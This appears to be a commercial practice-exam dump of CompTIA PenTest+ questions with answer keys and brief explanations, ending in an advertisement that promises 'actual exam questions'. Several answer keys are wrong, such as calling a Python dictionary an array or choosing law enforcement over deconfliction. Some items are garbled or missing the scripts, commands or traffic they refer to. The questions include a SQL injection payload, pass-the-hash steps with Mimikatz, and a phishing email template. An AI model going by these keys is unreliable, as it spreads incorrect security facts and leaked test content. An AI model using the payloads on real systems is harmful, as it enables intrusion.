A penetration tester has completed an analysis of the various software products produced by the company under assessment. The tester found that over the past several years the company has been including vulnerable third-party modules in multiple products, even though the quality of the organic code being developed is very good. Which of the following recommendations should the penetration tester include in the report?

- A. Add a dependency checker into the tool chain.
- B. Perform routine static and dynamic analysis of committed code.
- C. Validate API security settings before deployment.
- D. Perform fuzz testing of compiled binaries.

**Answer:**

A

#### NEW QUESTION 177

A penetration tester downloaded the following Perl script that can be used to identify vulnerabilities in network switches. However, the script is not working properly.

Which of the following changes should the tester apply to make the script work as intended?

- A. Change line 2 to \$ip= 10.192.168.254;
- B. Remove lines 3, 5, and 6.
- C. Remove line 6.
- D. Move all the lines below line 7 to the top of the script.

**Answer: B**

#### Explanation:

<https://www.asc.ohio-state.edu/lewis.239/Class/Perl/perl.html> Example script:

```
#!/usr/bin/perl
$ip=$argv[1]; attack($ip); sub attack { print("x");
}
```

#### NEW QUESTION 182

A new client hired a penetration-testing company for a month-long contract for various security assessments against the client's new service. The client is expecting to make the new service publicly available shortly after the assessment is complete and is planning to fix any findings, except for critical issues, after the service is made public. The client wants a simple report structure and does not want to receive daily findings.

Which of the following is most important for the penetration tester to define FIRST?

- A. Establish the format required by the client.
- B. Establish the threshold of risk to escalate to the client immediately.
- C. Establish the method of potential false positives.
- D. Establish the preferred day of the week for reporting.

**Answer: B**

#### NEW QUESTION 183

A software development team is concerned that a new product's 64-bit Windows binaries can be deconstructed to the underlying code. Which of the following tools can a penetration tester utilize to help the team gauge what an attacker might see in the binaries?

- A. Immunity Debugger
- B. OllyDbg
- C. GDB
- D. Drozer

**Answer: B**

#### NEW QUESTION 184

A red team completed an engagement and provided the following example in the report to describe how the team gained access to a web server:

x' OR role LIKE '%admin%

Which of the following should be recommended to remediate this vulnerability?

- A. Multifactor authentication
- B. Encrypted communications
- C. Secure software development life cycle
- D. Parameterized queries

**Answer: D**

#### NEW QUESTION 188

Given the following code:

```
systems = {
    "10.10.10.1" : "Windows 10",
    "10.10.10.2" : "Windows 10",
    "10.10.10.3" : "Windows 2016",
    "10.10.10.4" : "Linux"
}
```

Which of the following data structures is systems?

- A. A tuple
- B. A tree
- C. An array
- D. A dictionary

**Answer: C**

#### NEW QUESTION 189

A penetration tester needs to perform a test on a finance system that is PCI DSS v3.2.1 compliant. Which of the following is the MINIMUM frequency to complete the scan of the system?

- A. Weekly
- B. Monthly
- C. Quarterly
- D. Annually

**Answer: C**

**Explanation:**

<https://www.pcicomplianceguide.org/faq/#25>

PCI DSS requires quarterly vulnerability/penetration tests, not weekly.

**NEW QUESTION 191**

A penetration tester has extracted password hashes from the lsass.exe memory process. Which of the following should the tester perform NEXT to pass the hash and provide persistence with the newly acquired credentials?

- A. Use Patator to pass the hash and Responder for persistence.
- B. Use Hashcat to pass the hash and Empire for persistence.
- C. Use a bind shell to pass the hash and WMI for persistence.
- D. Use Mimikatz to pass the hash and PsExec for persistence.

**Answer: D**

**Explanation:**

Mimikatz is a credential hacking tool that can be used to extract logon passwords from the LSASS process and pass them to other systems. Once the tester has the hashes, they can then use PsExec, a command-line utility from Sysinternals, to pass the hash to the remote system and authenticate with the new credentials. This provides the tester with persistence on the system, allowing them to access it even after a reboot.

"A penetration tester who has extracted password hashes from the lsass.exe memory process can use various tools to pass the hash and gain access to other systems using the same credentials. One tool commonly used for this purpose is Mimikatz, which can extract plaintext passwords from memory or provide a pass-the-hash capability. After gaining access to a system, the tester can use various tools for persistence, such as PsExec or WMI." (CompTIA PenTest+ Study Guide, p. 186)

**NEW QUESTION 194**

In an unprotected network file repository, a penetration tester discovers a text file containing usernames and passwords in cleartext and a spreadsheet containing data for 50 employees, including full names, roles, and serial numbers. The tester realizes some of the passwords in the text file follow the format: <name-serial\_number>. Which of the following would be the best action for the tester to take NEXT with this information?

- A. Create a custom password dictionary as preparation for password spray testing.
- B. Recommend using a password manage/vault instead of text files to store passwords securely.
- C. Recommend configuring password complexity rules in all the systems and applications.
- D. Document the unprotected file repository as a finding in the penetration-testing report.

**Answer: D**

**NEW QUESTION 196**

Which of the following documents must be signed between the penetration tester and the client to govern how any provided information is managed before, during, and after the engagement?

- A. MSA
- B. NDA
- C. SOW
- D. ROE

**Answer: B**

**NEW QUESTION 200**

After gaining access to a previous system, a penetration tester runs an Nmap scan against a network with the following results:

```
Nmap scan report for 192.168.10.10
```

Port	State	Service	Version
135/tcp	open	msrpc	Microsoft Windows RPC
139/tcp	open	netbios-ssn	Microsoft Windows netbios-ssn
5985/tcp	open	Microsoft	HTTPAPI httpd 2.0 (SSDP/UPnP)

```
Nmap scan report for 192.168.10.11
```

Port	State	Service	Version
135/tcp	open	msrpc	Microsoft Windows RPC
139/tcp	open	netbios-ssn	Microsoft Windows netbios-ssn
3389/tcp	open	ms-wbt-server	Microsoft Terminal Services

The tester then runs the following command from the previous exploited system, which fails: Which of the following explains the reason why the command failed?

- A. The tester input the incorrect IP address.
- B. The command requires the -port 135 option.
- C. An account for RDP does not exist on the server.



D. PowerShell requires administrative privilege.

**Answer: C**

#### NEW QUESTION 205

A penetration tester has prepared the following phishing email for an upcoming penetration test:

```
Coworkers,  
  
A security incident recently occurred on company property.  
  
All employees are required to abide by company policies at all times.  
To ensure maximum compliance, all employees are required to sign the  
Security Policy Acceptance form (on-line here) before the end of this  
month.  
  
Please reach out if you have any questions or concerns.  
  
Human Resources
```

Which of the following is the penetration tester using MOST to influence phishing targets to click on the link?

- A. Familiarity and likeness
- B. Authority and urgency
- C. Scarcity and fear
- D. Social proof and greed

**Answer: B**

#### NEW QUESTION 210

The results of an Nmap scan are as follows:

```
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-24 01:10 EST  
Nmap scan report for ( 192.168.1.1 )  
Host is up (0.0035s latency).  
Not shown: 996 filtered ports  
  
Port      State  Service  Version  
22/tcp    open   ssh      OpenSSH 6.6.1p1  
53/tcp    open   domain    dnsmasq 2.72  
80/tcp    open   http      lighttpd  
443/tcp   open   ssl/http  httpd  
  
Service Info: OS: Linux; Device: router; CPE: cpe:/o:linux:linux_kernel  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/.  
Nmap done: 1 IP address (1 host up) scanned in 18.45 seconds
```

Which of the following would be the BEST conclusion about this device?

- A. This device may be vulnerable to the Heartbleed bug due to the way transactions over TCP/22 handle heartbeat extension packets, allowing attackers to obtain sensitive information from process memory.
- B. This device is most likely a gateway with in-band management services.
- C. This device is most likely a proxy server forwarding requests over TCP/443.
- D. This device may be vulnerable to remote code execution because of a buffer overflow vulnerability in the method used to extract DNS names from packets prior to DNSSEC validation.

**Answer: B**

#### Explanation:

The heart bleed bug is an open ssl bug which does not affect SSH Ref:  
<https://www.sos-berlin.com/en/news-heartbleed-bug-does-not-affect-jobscheduler-or-ssh>

#### NEW QUESTION 213

A penetration-testing team is conducting a physical penetration test to gain entry to a building. Which of the following is the reason why the penetration testers should carry copies of the engagement documents with them?

- A. As backup in case the original documents are lost
- B. To guide them through the building entrances
- C. To validate the billing information with the client
- D. As proof in case they are discovered

**Answer: D**

#### NEW QUESTION 216

A penetration tester was able to compromise a web server and move laterally into a Linux web server. The tester now wants to determine the identity of the last user who signed in to the web server. Which of the following log files will show this activity?

- A. /var/log/messages
- B. /var/log/last\_user
- C. /var/log/user\_log
- D. /var/log/lastlog

**Answer:** D

**Explanation:**

The /var/log/lastlog file is a log file that stores information about the last user to sign in to the server. This file stores information such as the username, IP address, and timestamp of the last user to sign in to the server. It can be used by a penetration tester to determine the identity of the last user who signed in to the web server, which can be helpful in identifying the user who may have set up the backdoors and other malicious activities.

**NEW QUESTION 219**

A penetration tester runs the following command on a system:

```
find / -user root -perm -4000 -print 2>/dev/null
```

Which of the following is the tester trying to accomplish?

- A. Set the SGID on all files in the / directory
- B. Find the /root directory on the system
- C. Find files with the SUID bit set
- D. Find files that were created during exploitation and move them to /dev/null

**Answer:** C

**Explanation:**

the 2>/dev/null is output redirection, it simply sends all the error messages to infinity and beyond preventing any error messages to appear in the terminal session.

**NEW QUESTION 223**

Which of the following is a rules engine for managing public cloud accounts and resources?

- A. Cloud Custodian
- B. Cloud Brute
- C. Pacu
- D. Scout Suite

**Answer:** A

**Explanation:**

Cloud Custodian is a rules engine for managing public cloud accounts and resources. It allows users to define policies to enable a well managed cloud infrastructure, that's both secure and cost optimized. It consolidates many of the adhoc scripts organizations have into a lightweight and flexible tool, with unified metrics and reporting.

**NEW QUESTION 228**

Which of the following is the BEST resource for obtaining payloads against specific network infrastructure products?

- A. Exploit-DB
- B. Metasploit
- C. Shodan
- D. Retina

**Answer:** A

**Explanation:**

"Exploit Database (ExploitDB) is a repository of exploits for the purpose of public security, and it explains what can be found on the database. The ExploitDB is a very useful resource for identifying possible weaknesses in your network and for staying up to date on current attacks occurring in other networks"

**NEW QUESTION 229**

A penetration tester is cleaning up and covering tracks at the conclusion of a penetration test. Which of the following should the tester be sure to remove from the system? (Choose two.)

- A. Spawned shells
- B. Created user accounts
- C. Server logs
- D. Administrator accounts
- E. Reboot system
- F. ARP cache

**Answer:** AB

**Explanation:**

Removing shells: Remove any shell programs installed when performing the pentest.

Removing tester-created credentials: Be sure to remove any user accounts created during the pentest. This includes backdoor accounts.

Removing tools: Remove any software tools that were installed on the customer's systems that were used to aid in the exploitation of systems.

**NEW QUESTION 230**

Given the following script:

```

Line 1      #!/usr/bin/python3
Line 2      from scapy.all import *
Line 3      a =
Line 4      IP(dst='10.10.10.10')/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname='www.comptia.org'))
Line 5      b = srl(a, verbose=0)
Line 6      for x in range(b[DNS].count):
Line 7          print(b[DNSRR][x].rdata

```

Which of the following BEST characterizes the function performed by lines 5 and 6?

- A. Retrieves the start-of-authority information for the zone on DNS server 10.10.10.10
- B. Performs a single DNS query for `www.comptia.org` and prints the raw data output
- C. Loops through variable `b` to count the results returned for the DNS query and prints that count to screen
- D. Prints each DNS query result already stored in variable `b`

**Answer: D**

## NEW QUESTION 232

A penetration tester captured the following traffic during a web-application test:

[illegible]

Which of the following methods should the tester use to visualize the authorization information being transmitted?

- A. Decode the authorization header using UTF-8.
- B. Decrypt the authorization header using bcrypt.
- C. Decode the authorization header using Base64.
- D. Decrypt the authorization header using AES.

**Answer: C**

## NEW QUESTION 234

The output from a penetration testing tool shows 100 hosts contained findings due to improper patch management. Which of the following did the penetration tester perform?

- A. A vulnerability scan
- B. A WHOIS lookup
- C. A packet capture
- D. An Nmap scan

**Answer: A**

**Explanation:**

A vulnerability scan is a type of penetration testing tool that is used to scan a network for vulnerabilities. A vulnerability scan can detect misconfigurations, missing patches, and other security issues that could be exploited by attackers. In this case, the output shows that 100 hosts had findings due to improper patch management, which means that the tester performed a vulnerability scan.

**NEW QUESTION 238**

A penetration tester receives the following results from an Nmap scan:



Interesting ports on 192.168.1.1:

Port	State	Service
21/tcp	closed	ftp
22/tcp	open	ssh
23/tcp	closed	telnet
25/tcp	closed	smtp
80/tcp	open	http
110/tcp	closed	pop3
139/tcp	closed	nethics-ssn
443/tcp	closed	https
3389/tcp	closed	rdp

Which of the following OSs is the target MOST likely running?

- A. CentOS
- B. Arch Linux
- C. Windows Server
- D. Ubuntu

**Answer: C**

#### NEW QUESTION 242

A penetration tester is scanning a corporate lab network for potentially vulnerable services. Which of the following Nmap commands will return vulnerable ports that might be interesting to a potential attacker?

- A. nmap192.168.1.1-5-PU22-25,80
- B. nmap192.168.1.1-5-PA22-25,80
- C. nmap192.168.1.1-5-PS22-25,80
- D. nmap192.168.1.1-5-Ss22-25,80

**Answer: C**

#### Explanation:

PS/PA/PU/PY are host discovery flags which use TCP SYN/ACK, UDP or SCTP discovery respectively. And since the ports in the options are mostly used by TCP protocols, then it's either the PS or PA flag. But since we need to know if the ports are live, sending SYN packet is a better alternative. Hence, I choose PS in this case.

#### NEW QUESTION 246

A company provided the following network scope for a penetration test:

- \* 169.137.1.0/24
- \* 221.10.1.0/24
- \* 149.14.1.0/24

A penetration tester discovered a remote command injection on IP address 149.14.1.24 and exploited the system. Later, the tester learned that this particular IP address belongs to a third party. Which of the following stakeholders is responsible for this mistake?

- A. The company that requested the penetration test
- B. The penetration testing company
- C. The target host's owner
- D. The penetration tester
- E. The subcontractor supporting the test

**Answer: A**

#### NEW QUESTION 251

A company becomes concerned when the security alarms are triggered during a penetration test. Which of the following should the company do NEXT?

- A. Halt the penetration test.
- B. Contact law enforcement.
- C. Deconflict with the penetration tester.
- D. Assume the alert is from the penetration test.

**Answer: B**

#### NEW QUESTION 255

An Nmap network scan has found five open ports with identified services. Which of the following tools should a penetration tester use NEXT to determine if any vulnerabilities with associated exploits exist on the open ports?

- A. OpenVAS
- B. Drozer
- C. Burp Suite
- D. OWASP ZAP

**Answer: A**

#### Explanation:

OpenVAS is a full-featured vulnerability scanner. OWASP ZAP = Burp Suite

Drozer (Android) = drozer allows you to search for security vulnerabilities in apps and devices by assuming



the role of an app and interacting with the Dalvik VM, other apps' IPC endpoints and the underlying OS.

#### NEW QUESTION 256

A large client wants a penetration tester to scan for devices within its network that are Internet facing. The client is specifically looking for Cisco devices with no authentication requirements. Which of the following settings in Shodan would meet the client's requirements?

- A. "cisco-ios" "admin+1234"
- B. "cisco-ios" "no-password"
- C. "cisco-ios" "default-passwords"
- D. "cisco-ios" "last-modified"

**Answer:** B

#### NEW QUESTION 259

A software company has hired a security consultant to assess the security of the company's software development practices. The consultant opts to begin reconnaissance by performing fuzzing on a software binary. Which of the following vulnerabilities is the security consultant MOST likely to identify?

- A. Weak authentication schemes
- B. Credentials stored in strings
- C. Buffer overflows
- D. Non-optimized resource management

**Answer:** C

#### Explanation:

fuzzing introduces unexpected inputs into a system and watches to see if the system has any negative reactions to the inputs that indicate security, performance, or quality gaps or issues

#### NEW QUESTION 262

A penetration tester recently completed a review of the security of a core network device within a corporate environment. The key findings are as follows:

- The following request was intercepted going to the network device: GET /login HTTP/1.1

Host: 10.50.100.16

User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:31.0) Gecko/20100101 Firefox/31.0 Accept-Language: en-US,en;q=0.5

Connection: keep-alive

Authorization: Basic WU9VUilOQU1FOnNIY3JldHBhc3N3b3jk

- Network management interfaces are available on the production network.
- An Nmap scan returned the following:

```
Port      State      Service      Version
22/tcp    open       ssh          Cisco SSH 1.25 (protocol 2.0)
80/tcp    open       http         Cisco IOS http config
|_https-title: Did not follow redirect to https://10.50.100.16
443/tcp   open       https        Cisco IOS https config
```

Which of the following would be BEST to add to the recommendations section of the final report? (Choose two.)

- A. Enforce enhanced password complexity requirements.
- B. Disable or upgrade SSH daemon.
- C. Disable HTTP/301 redirect configuration.
- D. Create an out-of-band network for management.
- E. Implement a better method for authentication.
- F. Eliminate network management and control interfaces.

**Answer:** CD

#### NEW QUESTION 267

.....

## Thank You for Trying Our Product

### We offer two products:

1st - We have Practice Tests Software with Actual Exam Questions

2nd - Questons and Answers in PDF Format

### PT0-002 Practice Exam Features:

- \* PT0-002 Questions and Answers Updated Frequently
- \* PT0-002 Practice Questions Verified by Expert Senior Certified Staff
- \* PT0-002 Most Realistic Questions that Guarantee you a Pass on Your FirstTry
- \* PT0-002 Practice Test Questions in Multiple Choice Formats and Updatesfor 1 Year

**100% Actual & Verified — Instant Download, Please Click**  
**[Order The PT0-002 Practice Test Here](#)**